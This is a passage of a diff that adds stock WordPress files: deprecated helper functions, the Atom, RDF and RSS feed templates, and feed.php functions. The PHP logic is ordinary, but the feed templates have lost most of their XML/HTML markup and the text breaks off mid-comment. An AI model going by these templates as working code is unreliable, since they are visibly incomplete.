  • \n"; + } + } +} + +/** + * Show the link to the links popup and the number of links. + * + * @author Fullo + * @link http://sprite.csr.unibo.it/fullo/ + * + * @since 0.71 + * @deprecated {@internal Use function instead is unknown}} + * + * @param string $text the text of the link + * @param int $width the width of the popup window + * @param int $height the height of the popup window + * @param string $file the page to open in the popup window + * @param bool $count the number of links in the db + */ +function links_popup_script($text = 'Links', $width=400, $height=400, $file='links.all.php', $count = true) { + _deprecated_function(__FUNCTION__, '0.0' ); + + if ( $count ) + $counts = $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->links"); + + $javascript = ""; + $javascript .= $text; + + if ( $count ) + $javascript .= " ($counts)"; + + $javascript .= "\n\n"; + echo $javascript; +} + +/** + * @since 1.0.1 + * @deprecated Use sanitize_bookmark_field() + * @see sanitize_bookmark_field() + * + * @param object $link + * @return unknown + */ +function get_linkrating($link) { + _deprecated_function(__FUNCTION__, '0.0', 'sanitize_bookmark_field()'); + return sanitize_bookmark_field('link_rating', $link->link_rating, $link->link_id, 'display'); +} + +/** + * Gets the name of category by id. + * + * @since 0.71 + * @deprecated Use get_category() + * @see get_category() + * + * @param int $id The category to get. If no category supplied uses 0 + * @return string + */ +function get_linkcatname($id = 0) { + _deprecated_function(__FUNCTION__, '0.0', 'get_category()'); + + $id = (int) $id; + + if ( empty($id) ) + return ''; + + $cats = wp_get_link_cats($id); + + if ( empty($cats) || ! is_array($cats) ) + return ''; + + $cat_id = (int) $cats[0]; // Take the first cat. + + $cat = get_category($cat_id); + return $cat->name; +} + +/** + * Print RSS comment feed link. + * + * @since 1.0.1 + * @deprecated Use post_comments_feed_link() + * @see post_comments_feed_link() + * + * @param string $link_text + * @param string $deprecated Not used + */ +function comments_rss_link($link_text = 'Comments RSS', $deprecated = '') { + _deprecated_function(__FUNCTION__, '0.0', 'post_comments_feed_link()'); + post_comments_feed_link($link_text); +} + +/** + * Print/Return link to category RSS2 feed. + * + * @since 1.2 + * @deprecated Use get_category_feed_link() + * @see get_category_feed_link() + * + * @param bool $echo + * @param int $cat_ID + * @param string $deprecated Not used + * @return string|null + */ +function get_category_rss_link($echo = false, $cat_ID = 1, $deprecated = '') { + _deprecated_function(__FUNCTION__, '0.0', 'get_category_feed_link()'); + + $link = get_category_feed_link($cat_ID, 'rss2'); + + if ( $echo ) + echo $link; + return $link; +} + +/** + * Print/Return link to author RSS feed. + * + * @since 1.2 + * @deprecated Use get_author_feed_link() + * @see get_author_feed_link() + * + * @param bool $echo + * @param int $author_id + * @param string $deprecated Not used + * @return string|null + */ +function get_author_rss_link($echo = false, $author_id = 1, $deprecated = '') { + _deprecated_function(__FUNCTION__, '0.0', 'get_author_feed_link()'); + + $link = get_author_feed_link($author_id); + if ( $echo ) + echo $link; + return $link; +} + +/** + * Return link to the post RSS feed. + * + * @since 1.5 + * @deprecated Use get_post_comments_feed_link() + * @see get_post_comments_feed_link() + * + * @param string $deprecated Not used + * @return string + */ +function comments_rss($deprecated = '') { + _deprecated_function(__FUNCTION__, '2.2', 'get_post_comments_feed_link()'); + return get_post_comments_feed_link(); +} + +/** + * An alias of wp_create_user(). + * + * @param string $username The user's username. + * @param string $password The user's password. + * @param string $email The user's email (optional). + * @return int The new user's ID. + * @deprecated Use wp_create_user() + * @see wp_create_user() + */ +function create_user($username, $password, $email) { + _deprecated_function( __FUNCTION__, '2.0', 'wp_create_user()' ); + return wp_create_user($username, $password, $email); +} + +/** + * Unused Admin function. + * + * @since 2.0 + * @param string $deprecated Unknown + * @deprecated 2.5 + */ +function documentation_link( $deprecated = '' ) { + _deprecated_function( __FUNCTION__, '2.5', '' ); + return; +} + +/** + * Unused function. + * + * @deprecated 2.5 +*/ +function gzip_compression() { + return false; +} + +/** + * Retrieve an array of comment data about comment $comment_ID. + * + * @deprecated Use get_comment() + * @see get_comment() + * @since 0.71 + * + * @uses $id + * @uses $wpdb Database Object + * + * @param int $comment_ID The ID of the comment + * @param int $no_cache Whether to use the cache or not (casted to bool) + * @param bool $include_unapproved Whether to include unapproved comments or not + * @return array The comment data + */ +function get_commentdata( $comment_ID, $no_cache = 0, $include_unapproved = false ) { + _deprecated_function( __FUNCTION__, '2.7', 'get_comment()' ); + return get_comment($comment_ID, ARRAY_A); +} + +/** + * Retrieve the category name by the category ID. + * + * @since 0.71 + * @deprecated Use get_cat_name() + * @see get_cat_name() get_catname() is deprecated in favor of get_cat_name(). + * + * @param int $cat_ID Category ID + * @return string category name + */ +function get_catname( $cat_ID ) { + _deprecated_function(__FUNCTION__, '2.8', 'get_cat_name()'); + return get_cat_name( $cat_ID ); +} + +/** + * Retrieve category children list separated before and after the term IDs. + * + * @since 1.2.0 + * + * @param int $id Category ID to retrieve children. + * @param string $before Optional. Prepend before category term ID. + * @param string $after Optional, default is empty string. Append after category term ID. + * @param array $visited Optional. Category Term IDs that have already been added. + * @return string + */ +function get_category_children( $id, $before = '/', $after = '', $visited = array() ) { + _deprecated_function(__FUNCTION__, '2.8', 'get_term_children()'); + if ( 0 == $id ) + return ''; + + $chain = ''; + /** TODO: consult hierarchy */ + $cat_ids = get_all_category_ids(); + foreach ( (array) $cat_ids as $cat_id ) { + if ( $cat_id == $id ) + continue; + + $category = get_category( $cat_id ); + if ( is_wp_error( $category ) ) + return $category; + if ( $category->parent == $id && !in_array( $category->term_id, $visited ) ) { + $visited[] = $category->term_id; + $chain .= $before.$category->term_id.$after; + $chain .= get_category_children( $category->term_id, $before, $after ); + } + } + return $chain; +} + +/** + * Retrieve the description of the author of the current post. + * + * @since 1.5 + * @deprecated 2.8 + * @uses $authordata The current author's DB object. + * @return string The author's description. + * @deprecated Use the_author_meta('description') + */ +function get_the_author_description() { + _deprecated_function(__FUNCTION__, '2.8', 'get_the_author_meta(\'description\')' ); + return get_the_author_meta('description'); +} + +/** + * Display the description of the author of the current post. + * + * @link http://codex.wordpress.org/Template_Tags/the_author_description + * @since 1.0.0 + * @deprecated 2.8 + * @deprecated Use the_author_meta('description') + */ +function the_author_description() { + _deprecated_function(__FUNCTION__, '2.8', 'the_author_meta(\'description\')' ); + the_author_meta('description'); +} + +/** + * Retrieve the login name of the author of the current post. + * + * @since 1.5 + * @deprecated 2.8 + * @uses $authordata The current author's DB object. + * @return string The author's login name (username). + * @deprecated Use the_author_meta('login') + */ +function get_the_author_login() { + _deprecated_function(__FUNCTION__, '2.8', 'get_the_author_meta(\'login\')' ); + return get_the_author_meta('login'); +} + +/** + * Display the login name of the author of the current post. + * + * @link http://codex.wordpress.org/Template_Tags/the_author_login + * @since 0.71 + * @deprecated 2.8 + * @deprecated Use the_author_meta('login') + */ +function the_author_login() { + _deprecated_function(__FUNCTION__, '2.8', 'the_author_meta(\'login\')' ); + the_author_meta('login'); +} + +/** + * Retrieve the first name of the author of the current post. + * + * @since 1.5 + * @deprecated 2.8 + * @uses $authordata The current author's DB object. + * @return string The author's first name. + * @deprecated Use the_author_meta('first_name') + */ +function get_the_author_firstname() { + _deprecated_function(__FUNCTION__, '2.8', 'get_the_author_meta(\'first_name\')' ); + return get_the_author_meta('first_name'); +} + +/** + * Display the first name of the author of the current post. + * + * @link http://codex.wordpress.org/Template_Tags/the_author_firstname + * @since 0.71 + * @deprecated 2.8 + * @deprecated Use the_author_meta('first_name') + */ +function the_author_firstname() { + _deprecated_function(__FUNCTION__, '2.8', 'the_author_meta(\'first_name\')' ); + the_author_meta('first_name'); +} + +/** + * Retrieve the last name of the author of the current post. + * + * @since 1.5 + * @deprecated 2.8 + * @uses $authordata The current author's DB object. + * @return string The author's last name. + * @deprecated Use the_author_meta('last_name') + */ +function get_the_author_lastname() { + _deprecated_function(__FUNCTION__, '2.8', 'get_the_author_meta(\'last_name\')' ); + return get_the_author_meta('last_name'); +} + +/** + * Display the last name of the author of the current post. + * + * @link http://codex.wordpress.org/Template_Tags/the_author_lastname + * @since 0.71 + * @deprecated 2.8 + * @deprecated Use the_author_meta('last_name') + */ +function the_author_lastname() { + _deprecated_function(__FUNCTION__, '2.8', 'the_author_meta(\'last_name\')' ); + the_author_meta('last_name'); +} + +/** + * Retrieve the nickname of the author of the current post. + * + * @since 1.5 + * @deprecated 2.8 + * @uses $authordata The current author's DB object. + * @return string The author's nickname. + * @deprecated Use the_author_meta('nickname') + */ +function get_the_author_nickname() { + _deprecated_function(__FUNCTION__, '2.8', 'get_the_author_meta(\'nickname\')' ); + return get_the_author_meta('nickname'); +} + +/** + * Display the nickname of the author of the current post. + * + * @link http://codex.wordpress.org/Template_Tags/the_author_nickname + * @since 0.71 + * @deprecated 2.8 + * @deprecated Use the_author_meta('nickname') + */ +function the_author_nickname() { + _deprecated_function(__FUNCTION__, '2.8', 'the_author_meta(\'nickname\')' ); + the_author_meta('nickname'); +} + +/** + * Retrieve the email of the author of the current post. + * + * @since 1.5 + * @deprecated 2.8 + * @uses $authordata The current author's DB object. + * @return string The author's username. + * @deprecated Use the_author_meta('email') + */ +function get_the_author_email() { + _deprecated_function(__FUNCTION__, '2.8', 'get_the_author_meta(\'email\')' ); + return get_the_author_meta('email'); +} + +/** + * Display the email of the author of the current post. + * + * @link http://codex.wordpress.org/Template_Tags/the_author_email + * @since 0.71 + * @deprecated 2.8 + * @deprecated Use the_author_meta('email') + */ +function the_author_email() { + _deprecated_function(__FUNCTION__, '2.8', 'the_author_meta(\'email\')' ); + the_author_meta('email'); +} + +/** + * Retrieve the ICQ number of the author of the current post. + * + * @since 1.5 + * @deprecated 2.8 + * @uses $authordata The current author's DB object. + * @return string The author's ICQ number. + * @deprecated Use the_author_meta('icq') + */ +function get_the_author_icq() { + _deprecated_function(__FUNCTION__, '2.8', 'get_the_author_meta(\'icq\')' ); + return get_the_author_meta('icq'); +} + +/** + * Display the ICQ number of the author of the current post. + * + * @link http://codex.wordpress.org/Template_Tags/the_author_icq + * @since 0.71 + * @deprecated 2.8 + * @see get_the_author_icq() + * @deprecated Use the_author_meta('icq') + */ +function the_author_icq() { + _deprecated_function(__FUNCTION__, '2.8', 'the_author_meta(\'icq\')' ); + the_author_meta('icq'); +} + +/** + * Retrieve the Yahoo! IM name of the author of the current post. + * + * @since 1.5 + * @deprecated 2.8 + * @uses $authordata The current author's DB object. + * @return string The author's Yahoo! IM name. + * @deprecated Use the_author_meta('yim') + */ +function get_the_author_yim() { + _deprecated_function(__FUNCTION__, '2.8', 'get_the_author_meta(\'yim\')' ); + return get_the_author_meta('yim'); +} + +/** + * Display the Yahoo! IM name of the author of the current post. + * + * @link http://codex.wordpress.org/Template_Tags/the_author_yim + * @since 0.71 + * @deprecated 2.8 + * @deprecated Use the_author_meta('yim') + */ +function the_author_yim() { + _deprecated_function(__FUNCTION__, '2.8', 'the_author_meta(\'yim\')' ); + the_author_meta('yim'); +} + +/** + * Retrieve the MSN address of the author of the current post. + * + * @since 1.5 + * @deprecated 2.8 + * @uses $authordata The current author's DB object. + * @return string The author's MSN address. + * @deprecated Use the_author_meta('msn') + */ +function get_the_author_msn() { + _deprecated_function(__FUNCTION__, '2.8', 'get_the_author_meta(\'msn\')' ); + return get_the_author_meta('msn'); +} + +/** + * Display the MSN address of the author of the current post. + * + * @link http://codex.wordpress.org/Template_Tags/the_author_msn + * @since 0.71 + * @deprecated 2.8 + * @see get_the_author_msn() + * @deprecated Use the_author_meta('msn') + */ +function the_author_msn() { + _deprecated_function(__FUNCTION__, '2.8', 'the_author_meta(\'msn\')' ); + the_author_meta('msn'); +} + +/** + * Retrieve the AIM address of the author of the current post. + * + * @since 1.5 + * @deprecated 2.8 + * @uses $authordata The current author's DB object. + * @return string The author's AIM address. + * @deprecated Use the_author_meta('aim') + */ +function get_the_author_aim() { + _deprecated_function(__FUNCTION__, '2.8', 'get_the_author_meta(\'aim\')' ); + return get_the_author_meta('aim'); +} + +/** + * Display the AIM address of the author of the current post. + * + * @link http://codex.wordpress.org/Template_Tags/the_author_aim + * @since 0.71 + * @deprecated 2.8 + * @see get_the_author_aim() + * @deprecated Use the_author_meta('aim') + */ +function the_author_aim() { + _deprecated_function(__FUNCTION__, '2.8', 'the_author_meta(\'aim\')' ); + the_author_meta('aim'); +} + +/** + * Retrieve the specified author's preferred display name. + * + * @since 1.0.0 + * @deprecated 2.8 + * @param int $auth_id The ID of the author. + * @return string The author's display name. + * @deprecated Use the_author_meta('display_name') + */ +function get_author_name( $auth_id = false ) { + _deprecated_function(__FUNCTION__, '2.8', 'get_the_author_meta(\'display_name\')' ); + return get_the_author_meta('display_name', $auth_id); +} + +/** + * Retrieve the URL to the home page of the author of the current post. + * + * @since 1.5 + * @deprecated 2.8 + * @uses $authordata The current author's DB object. + * @return string The URL to the author's page. + */ +function get_the_author_url() { + _deprecated_function(__FUNCTION__, '2.8', 'get_the_author_meta(\'url\')' ); + return get_the_author_meta('url'); +} + +/** + * Display the URL to the home page of the author of the current post. + * + * @link http://codex.wordpress.org/Template_Tags/the_author_url + * @since 0.71 + * @deprecated 2.8 + */ +function the_author_url() { + _deprecated_function(__FUNCTION__, '2.8', 'the_author_meta(\'url\')' ); + the_author_meta('url'); +} + +/** + * Retrieve the ID of the author of the current post. + * + * @since 1.5 + * @deprecated 2.8 + * @return int The author's ID. + */ +function get_the_author_ID() { + _deprecated_function(__FUNCTION__, '2.8', 'get_the_author_meta(\'ID\')' ); + return get_the_author_meta('ID'); +} + +/** + * Display the ID of the author of the current post. + * + * @link http://codex.wordpress.org/Template_Tags/the_author_ID + * @since 0.71 + * @deprecated 2.8 + * @uses get_the_author_ID() +*/ +function the_author_ID() { + _deprecated_function(__FUNCTION__, '2.8', 'the_author_meta(\'ID\')' ); + the_author_meta('ID'); +} + +/** + * Display the post content for the feed. + * + * For encoding the html or the $encode_html parameter, there are three possible + * values. '0' will make urls footnotes and use make_url_footnote(). '1' will + * encode special characters and automatically display all of the content. The + * value of '2' will strip all HTML tags from the content. + * + * Also note that you cannot set the amount of words and not set the html + * encoding. If that is the case, then the html encoding will default to 2, + * which will strip all HTML tags. + * + * To restrict the amount of words of the content, you can use the cut + * parameter. If the content is less than the amount, then there won't be any + * dots added to the end. If there is content left over, then dots will be added + * and the rest of the content will be removed. + * + * @package WordPress + * @subpackage Feed + * @since 0.71 + * @uses apply_filters() Calls 'the_content_rss' on the content before processing. + * @see get_the_content() For the $more_link_text, $stripteaser, and $more_file + * parameters. + * + * @deprecated 2.9.0 + * + * @param string $more_link_text Optional. Text to display when more content is available but not displayed. + * @param int|bool $stripteaser Optional. Default is 0. + * @param string $more_file Optional. + * @param int $cut Optional. Amount of words to keep for the content. + * @param int $encode_html Optional. How to encode the content. + */ +function the_content_rss($more_link_text='(more...)', $stripteaser=0, $more_file='', $cut = 0, $encode_html = 0) { + _deprecated_function(__FUNCTION__, '2.9', 'the_content_feed' ); + $content = get_the_content($more_link_text, $stripteaser, $more_file); + $content = apply_filters('the_content_rss', $content); + if ( $cut && !$encode_html ) + $encode_html = 2; + if ( 1== $encode_html ) { + $content = esc_html($content); + $cut = 0; + } elseif ( 0 == $encode_html ) { + $content = make_url_footnote($content); + } elseif ( 2 == $encode_html ) { + $content = strip_tags($content); + } + if ( $cut ) { + $blah = explode(' ', $content); + if ( count($blah) > $cut ) { + $k = $cut; + $use_dotdotdot = 1; + } else { + $k = count($blah); + $use_dotdotdot = 0; + } + + /** @todo Check performance, might be faster to use array slice instead. */ + for ( $i=0; $i<$k; $i++ ) + $excerpt .= $blah[$i].' '; + $excerpt .= ($use_dotdotdot) ? '...' : ''; + $content = $excerpt; + } + $content = str_replace(']]>', ']]>', $content); + echo $content; +} + +/** + * Strip HTML and put links at the bottom of stripped content. + * + * Searches for all of the links, strips them out of the content, and places + * them at the bottom of the content with numbers. + * + * @since 0.71 + * @deprecated 2.9.0 + * + * @param string $content Content to get links + * @return string HTML stripped out of content with links at the bottom. + */ +function make_url_footnote( $content ) { + _deprecated_function(__FUNCTION__, '2.9', '' ); + preg_match_all( '/(.+?)<\/a>/', $content, $matches ); + $links_summary = "\n"; + for ( $i=0; $i \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/feed-atom-comments.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/feed-atom-comments.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,88 @@ +'; +?> + +> + <?php + if ( is_singular() ) + printf(ent2ncr(__('Comments on: %s')), get_the_title_rss()); + elseif ( is_search() ) + printf(ent2ncr(__('Comments for %1$s searching on %2$s')), get_bloginfo_rss( 'name' ), esc_attr(get_search_query())); + else + printf(ent2ncr(__('Comments for %s')), get_bloginfo_rss( 'name' ) . get_wp_title_rss()); + ?> + + + + + + + + + + + + + + + + + + + +comment_post_ID); + get_post_custom($comment_post->ID); +?> + + <?php + if ( !is_singular() ) { + $title = get_the_title($comment_post->ID); + $title = apply_filters('the_title_rss', $title); + printf(ent2ncr(__('Comment on %1$s by %2$s')), $title, get_comment_author_rss()); + } else { + printf(ent2ncr(__('By: %s')), get_comment_author_rss()); + } + ?> + + + + + ' . get_comment_author_url() . ''; ?> + + + + + + + + ]]> + + ]]> +comment_parent == 0 ) : // This comment is top level ?> + +comment_parent); + // The rel attribute below and the id tag above should be GUIDs, but WP doesn't create them for comments (unlike posts). Either way, its more important that they both use the same system +?> + +comment_ID, $comment_post->ID); +?> + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/feed-atom.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/feed-atom.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,55 @@ +'; ?> + + > + <?php bloginfo_rss('name'); wp_title_rss(); ?> + + + + + + + + + + + + + + + + + + + <![CDATA[<?php the_title_rss() ?>]]> + + + + + + ]]> + + ]]> + + + + + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/feed-rdf.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/feed-rdf.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,55 @@ +'; ?> + +> +"> + <?php bloginfo_rss('name'); wp_title_rss(); ?> + + + + + + 1 + 2000-01-01T12:00+00:00 + + + + + + + + + + + + <?php the_title_rss() ?> + + post_date_gmt, false); ?> + + + + + + + ]]> + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/feed-rss.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/feed-rss.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,32 @@ +'; ?> + + + + <?php bloginfo_rss('name'); wp_title_rss(); ?> + + + + http://backend.userland.com/rss092 + + + + + + <?php the_title_rss() ?> + ]]> + + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/feed-rss2-comments.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/feed-rss2-comments.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,67 @@ +'; +?> + + > + + <?php + if ( is_singular() ) + printf(ent2ncr(__('Comments on: %s')), get_the_title_rss()); + elseif ( is_search() ) + printf(ent2ncr(__('Comments for %s searching on %s')), get_bloginfo_rss( 'name' ), esc_attr($wp_query->query_vars['s'])); + else + printf(ent2ncr(__('Comments for %s')), get_bloginfo_rss( 'name' ) . get_wp_title_rss()); + ?> + + + + + + + + +comment_post_ID); + get_post_custom($comment_post->ID); +?> + + <?php + if ( !is_singular() ) { + $title = get_the_title($comment_post->ID); + $title = apply_filters('the_title_rss', $title); + printf(ent2ncr(__('Comment on %1$s by %2$s')), $title, get_comment_author_rss()); + } else { + printf(ent2ncr(__('By: %s')), get_comment_author_rss()); + } + ?> + + + + + + + ]]> + + + ]]> +comment_ID, $comment_post->ID); +?> + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/feed-rss2.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/feed-rss2.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,61 @@ +'; ?> + + +> + + + <?php bloginfo_rss('name'); wp_title_rss(); ?> + + + + + + + + + + + + <?php the_title_rss() ?> + + + + + + + + + ]]> + + ]]> + post_content ) > 0 ) : ?> + ]]> + + ]]> + + + + + + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/feed.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/feed.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,535 @@ +get_error_message(); + $title = apply_filters('get_wp_title_rss', $title); + return $title; +} + +/** + * Display the blog title for display of the feed title. + * + * @package WordPress + * @subpackage Feed + * @since 2.2.0 + * @uses apply_filters() Calls 'wp_title_rss' on the blog title. + * @see wp_title() $sep parameter usage. + * + * @param string $sep Optional. + */ +function wp_title_rss($sep = '»') { + echo apply_filters('wp_title_rss', get_wp_title_rss($sep)); +} + +/** + * Retrieve the current post title for the feed. + * + * @package WordPress + * @subpackage Feed + * @since 2.0.0 + * @uses apply_filters() Calls 'the_title_rss' on the post title. + * + * @return string Current post title. + */ +function get_the_title_rss() { + $title = get_the_title(); + $title = apply_filters('the_title_rss', $title); + return $title; +} + +/** + * Display the post title in the feed. + * + * @package WordPress + * @subpackage Feed + * @since 0.71 + * @uses get_the_title_rss() Used to retrieve current post title. + */ +function the_title_rss() { + echo get_the_title_rss(); +} + +/** + * Retrieve the post content for feeds. + * + * @package WordPress + * @subpackage Feed + * @since 2.9.0 + * @uses apply_filters() Calls 'the_content_feed' on the content before processing. + * @see get_the_content() + * + * @param string $feed_type The type of feed. rss2 | atom | rss | rdf + */ +function get_the_content_feed($feed_type = null) { + if ( !$feed_type ) + $feed_type = get_default_feed(); + + $content = apply_filters('the_content', get_the_content()); + $content = str_replace(']]>', ']]>', $content); + return apply_filters('the_content_feed', $content, $feed_type); +} + +/** + * Display the post content for feeds. + * + * @package WordPress + * @subpackage Feed + * @since 2.9.0 + * @uses apply_filters() Calls 'the_content_feed' on the content before processing. + * @see get_the_content() + * + * @param string $feed_type The type of feed. rss2 | atom | rss | rdf + */ +function the_content_feed($feed_type = null) { + echo get_the_content_feed(); +} + +/** + * Display the post excerpt for the feed. + * + * @package WordPress + * @subpackage Feed + * @since 0.71 + * @uses apply_filters() Calls 'the_excerpt_rss' hook on the excerpt. + */ +function the_excerpt_rss() { + $output = get_the_excerpt(); + echo apply_filters('the_excerpt_rss', $output); +} + +/** + * Display the permalink to the post for use in feeds. + * + * @package WordPress + * @subpackage Feed + * @since 2.3.0 + * @uses apply_filters() Call 'the_permalink_rss' on the post permalink + */ +function the_permalink_rss() { + echo apply_filters('the_permalink_rss', get_permalink()); +} + +/** + * Display the feed GUID for the current comment. + * + * @package WordPress + * @subpackage Feed + * @since unknown + * + * @param int|object $comment_id Optional comment object or id. Defaults to global comment object. + */ +function comment_guid($comment_id = null) { + echo get_comment_guid($comment_id); +} + +/** + * Retrieve the feed GUID for the current comment. + * + * @package WordPress + * @subpackage Feed + * @since unknown + * + * @param int|object $comment_id Optional comment object or id. Defaults to global comment object. + * @return bool|string false on failure or guid for comment on success. + */ +function get_comment_guid($comment_id = null) { + $comment = get_comment($comment_id); + + if ( !is_object($comment) ) + return false; + + return get_the_guid($comment->comment_post_ID) . '#comment-' . $comment->comment_ID; +} + +/** + * Display the link to the comments. + * + * @since 1.5.0 + */ +function comment_link() { + echo esc_url( get_comment_link() ); +} + +/** + * Retrieve the current comment author for use in the feeds. + * + * @package WordPress + * @subpackage Feed + * @since 2.0.0 + * @uses apply_filters() Calls 'comment_author_rss' hook on comment author. + * @uses get_comment_author() + * + * @return string Comment Author + */ +function get_comment_author_rss() { + return apply_filters('comment_author_rss', get_comment_author() ); +} + +/** + * Display the current comment author in the feed. + * + * @package WordPress + * @subpackage Feed + * @since 1.0.0 + */ +function comment_author_rss() { + echo get_comment_author_rss(); +} + +/** + * Display the current comment content for use in the feeds. + * + * @package WordPress + * @subpackage Feed + * @since 1.0.0 + * @uses apply_filters() Calls 'comment_text_rss' filter on comment content. + * @uses get_comment_text() + */ +function comment_text_rss() { + $comment_text = get_comment_text(); + $comment_text = apply_filters('comment_text_rss', $comment_text); + echo $comment_text; +} + +/** + * Retrieve all of the post categories, formatted for use in feeds. + * + * All of the categories for the current post in the feed loop, will be + * retrieved and have feed markup added, so that they can easily be added to the + * RSS2, Atom, or RSS1 and RSS0.91 RDF feeds. + * + * @package WordPress + * @subpackage Feed + * @since 2.1.0 + * @uses apply_filters() + * + * @param string $type Optional, default is the type returned by get_default_feed(). + * @return string All of the post categories for displaying in the feed. + */ +function get_the_category_rss($type = null) { + if ( empty($type) ) + $type = get_default_feed(); + $categories = get_the_category(); + $tags = get_the_tags(); + $the_list = ''; + $cat_names = array(); + + $filter = 'rss'; + if ( 'atom' == $type ) + $filter = 'raw'; + + if ( !empty($categories) ) foreach ( (array) $categories as $category ) { + $cat_names[] = sanitize_term_field('name', $category->name, $category->term_id, 'category', $filter); + } + + if ( !empty($tags) ) foreach ( (array) $tags as $tag ) { + $cat_names[] = sanitize_term_field('name', $tag->name, $tag->term_id, 'post_tag', $filter); + } + + $cat_names = array_unique($cat_names); + + foreach ( $cat_names as $cat_name ) { + if ( 'rdf' == $type ) + $the_list .= "\t\t\n"; + elseif ( 'atom' == $type ) + $the_list .= sprintf( '', esc_attr( apply_filters( 'get_bloginfo_rss', get_bloginfo( 'url' ) ) ), esc_attr( $cat_name ) ); + else + $the_list .= "\t\t\n"; + } + + return apply_filters('the_category_rss', $the_list, $type); +} + +/** + * Display the post categories in the feed. + * + * @package WordPress + * @subpackage Feed + * @since 0.71 + * @see get_the_category_rss() For better explanation. + * + * @param string $type Optional, default is the type returned by get_default_feed(). + */ +function the_category_rss($type = null) { + echo get_the_category_rss($type); +} + +/** + * Display the HTML type based on the blog setting. + * + * The two possible values are either 'xhtml' or 'html'. + * + * @package WordPress + * @subpackage Feed + * @since 2.2.0 + */ +function html_type_rss() { + $type = get_bloginfo('html_type'); + if (strpos($type, 'xhtml') !== false) + $type = 'xhtml'; + else + $type = 'html'; + echo $type; +} + +/** + * Display the rss enclosure for the current post. + * + * Uses the global $post to check whether the post requires a password and if + * the user has the password for the post. If not then it will return before + * displaying. + * + * Also uses the function get_post_custom() to get the post's 'enclosure' + * metadata field and parses the value to display the enclosure(s). The + * enclosure(s) consist of enclosure HTML tag(s) with a URI and other + * attributes. + * + * @package WordPress + * @subpackage Template + * @since 1.5.0 + * @uses apply_filters() Calls 'rss_enclosure' hook on rss enclosure. + * @uses get_post_custom() To get the current post enclosure metadata. + */ +function rss_enclosure() { + if ( post_password_required() ) + return; + + foreach ( (array) get_post_custom() as $key => $val) { + if ($key == 'enclosure') { + foreach ( (array) $val as $enc ) { + $enclosure = explode("\n", $enc); + + //only get the the first element eg, audio/mpeg from 'audio/mpeg mpga mp2 mp3' + $t = preg_split('/[ \t]/', trim($enclosure[2]) ); + $type = $t[0]; + + echo apply_filters('rss_enclosure', '' . "\n"); + } + } + } +} + +/** + * Display the atom enclosure for the current post. + * + * Uses the global $post to check whether the post requires a password and if + * the user has the password for the post. If not then it will return before + * displaying. + * + * Also uses the function get_post_custom() to get the post's 'enclosure' + * metadata field and parses the value to display the enclosure(s). The + * enclosure(s) consist of link HTML tag(s) with a URI and other attributes. + * + * @package WordPress + * @subpackage Template + * @since 2.2.0 + * @uses apply_filters() Calls 'atom_enclosure' hook on atom enclosure. + * @uses get_post_custom() To get the current post enclosure metadata. + */ +function atom_enclosure() { + if ( post_password_required() ) + return; + + foreach ( (array) get_post_custom() as $key => $val ) { + if ($key == 'enclosure') { + foreach ( (array) $val as $enc ) { + $enclosure = split("\n", $enc); + echo apply_filters('atom_enclosure', '' . "\n"); + } + } + } +} + +/** + * Determine the type of a string of data with the data formatted. + * + * Tell whether the type is text, html, or xhtml, per RFC 4287 section 3.1. + * + * In the case of WordPress, text is defined as containing no markup, + * xhtml is defined as "well formed", and html as tag soup (i.e., the rest). + * + * Container div tags are added to xhtml values, per section 3.1.1.3. + * + * @link http://www.atomenabled.org/developers/syndication/atom-format-spec.php#rfc.section.3.1 + * + * @package WordPress + * @subpackage Feed + * @since 2.5 + * + * @param string $data Input string + * @return array array(type, value) + */ +function prep_atom_text_construct($data) { + if (strpos($data, '<') === false && strpos($data, '&') === false) { + return array('text', $data); + } + + $parser = xml_parser_create(); + xml_parse($parser, '
    ' . $data . '
    ', true); + $code = xml_get_error_code($parser); + xml_parser_free($parser); + + if (!$code) { + if (strpos($data, '<') === false) { + return array('text', $data); + } else { + $data = "
    $data
    "; + return array('xhtml', $data); + } + } + + if (strpos($data, ']]>') == false) { + return array('html', ""); + } else { + return array('html', htmlspecialchars($data)); + } +} + +/** + * Display the link for the currently displayed feed in a XSS safe way. + * + * Generate a correct link for the atom:self element. + * + * @package WordPress + * @subpackage Feed + * @since 2.5 + */ +function self_link() { + $host = @parse_url(get_option('home')); + $host = $host['host']; + echo esc_url( + 'http' + . ( (isset($_SERVER['https']) && $_SERVER['https'] == 'on') ? 's' : '' ) . '://' + . $host + . stripslashes($_SERVER['REQUEST_URI']) + ); +} + +/** + * Return the content type for specified feed type. + * + * @package WordPress + * @subpackage Feed + * @since 2.8.0 + */ +function feed_content_type( $type = '' ) { + if ( empty($type) ) + $type = get_default_feed(); + + $types = array( + 'rss' => 'application/rss+xml', + 'rss2' => 'application/rss+xml', + 'rss-http' => 'text/xml', + 'atom' => 'application/atom+xml', + 'rdf' => 'application/rdf+xml' + ); + + $content_type = ( !empty($types[$type]) ) ? $types[$type] : 'application/octet-stream'; + + return apply_filters( 'feed_content_type', $content_type, $type ); +} + +/** + * Build SimplePie object based on RSS or Atom feed from URL. + * + * @since 2.8 + * + * @param string $url URL to retrieve feed + * @return 